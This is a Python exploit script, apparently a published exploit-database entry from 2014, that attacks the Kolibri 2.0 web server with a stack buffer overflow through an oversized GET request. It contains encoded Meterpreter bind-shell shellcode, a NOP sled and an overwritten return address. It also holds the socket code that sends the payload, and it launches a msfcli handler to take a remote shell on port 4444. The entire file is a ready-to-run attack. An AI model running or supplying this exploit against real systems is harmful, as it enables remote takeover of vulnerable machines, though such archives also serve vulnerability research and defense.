#!/usr/bin/python # Exploit Title: Kolibri GET request Stack buffer Overflow # Date: 25 April 2014 # Exploit Author: Christian (Polunchis) Ramirez https://intrusionlabs.org # Vendor Homepage: http://www.senkas.com/kolibri/download.php # Version: Kolibri 2.0 # Tested on: Windows XP SP3, Spanish # Thanks:To my wife for putting up with my possessions # Description: # A buffer overflow is triggered when a long GET command is sent to the server. import socket, sys, os, time if len(sys.argv) != 3: print "[*] Uso: %s <Ip Victima> <Puerto> \n" % sys.argv[0] print "[*] Exploit created by Polunchis" print "[*] https://www.intrusionlabs.com.mx" sys.exit(0) host = sys.argv[1] port = int(sys.argv[2]) #./msfpayload windows/meterpreter/bind_tcp R | ./msfencode -t c -b '\x00\xff\x0a\x0d\x20\x40' shellcode = ( "\x29\xc9\x83\xe9\xb5\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e" "\xaa\x86\x33\x5f\x83\xee\xfc\xe2\xf4\x56\x6e\xba\x5f\xaa\x86" "\x53\xd6\x4f\xb7\xe1\x3b\x21\xd4\x03\xd4\xf8\x8a\xb8\x0d\xbe" "\x0d\x41\x77\xa5\x31\x79\x79\x9b\x79\x02\x9f\x06\xba\x52\x23" "\xa8\xaa\x13\x9e\x65\x8b\x32\x98\x48\x76\x61\x08\x21\xd4\x23" "\xd4\xe8\xba\x32\x8f\x21\xc6\x4b\xda\x6a\xf2\x79\x5e\x7a\xd6" "\xb8\x17\xb2\x0d\x6b\x7f\xab\x55\xd0\x63\xe3\x0d\x07\xd4\xab" "\x50\x02\xa0\x9b\x46\x9f\x9e\x65\x8b\x32\x98\x92\x66\x46\xab" "\xa9\xfb\xcb\x64\xd7\xa2\x46\xbd\xf2\x0d\x6b\x7b\xab\x55\x55" "\xd4\xa6\xcd\xb8\x07\xb6\x87\xe0\xd4\xae\x0d\x32\x8f\x23\xc2" "\x17\x7b\xf1\xdd\x52\x06\xf0\xd7\xcc\xbf\xf2\xd9\x69\xd4\xb8" "\x6d\xb5\x02\xc2\xb5\x01\x5f\xaa\xee\x44\x2c\x98\xd9\x67\x37" "\xe6\xf1\x15\x58\x55\x53\x8b\xcf\xab\x86\x33\x76\x6e\xd2\x63" "\x37\x83\x06\x58\x5f\x55\x53\x63\x0f\xfa\xd6\x73\x0f\xea\xd6" "\x5b\xb5\xa5\x59\xd3\xa0\x7f\x11\x02\x84\xf9\xee\x31\x5f\xbb" "\xda\xba\xb9\xc0\x96\x65\x08\xc2\x44\xe8\x68\xcd\x79\xe6\x0c" "\xfd\xee\x84\xb6\x92\x79\xcc\x8a\xf9\xd5\x64\x37\xde\x6a\x08" "\xbe\x55\x53\x64\xc8\xc2\xf3\x5d\x12\xcb\x79\xe6\x35\xaa\xec" "\x37\x09\xfd\xee\x31\x86\x62\xd9\xcc\x8a\x21\xb0\x59\x1f\xc2" "\x86\x23\x5f\xaa\xd0\x59\x5f\xc2\xde\x97\x0c\x4f\x79\xe6\xcc" "\xf9\xec\x33\x09\xf9\xd1\x5b\x5d\x73\x4e\x6c\xa0\x7f\x87\xf0" "\x76\x6c\x03\xc5\x2a\x46\x45\x33\x5f" ) nop = "A" * 33 + '\x90' * 20 junk = "C" *(515-(len(nop)+len(shellcode))) opcode= "\x83\xc4\x44\x83\xc4\x44\x83\xc4\x44\xff\xe4" eip = '\x63\x46\x92\x7c' #7c86467b 7C924663 call esp buffer = nop + shellcode + junk + eip + opcode + "B" * 60 req = ("GET /" + buffer + " HTTP/1.1\r\n" "Host: " + host + ":" + str(port) + "\r\n" "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; he; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12\r\n" "Connection: keep-alive\r\n\r\n") print " [+] Connecting to %s:%d" % (host, port) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: s.connect((host, port)) print " [+] Sending payload.." + "nop: " + str(len(nop)) + " junk: " + str(len(junk)) + " shellcode: " + str(len(shellcode)) s.send(req) data = s.recv(1024) print " [+] Closing connection.." s.close() print "[+] Exploit Sent Successfully" print "[+] Waiting for 3 sec before spawning shell to " + host + ":4444\r" print "\r" time.sleep(3) os.system("msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/bind_tcp RHOST=192.168.0.106 LPORT=4444 E") print "[-] Connection lost from " + host + ":4444 \r" except: print "[-] Could not connect to " + host + ":4444\r" sys.exit(0)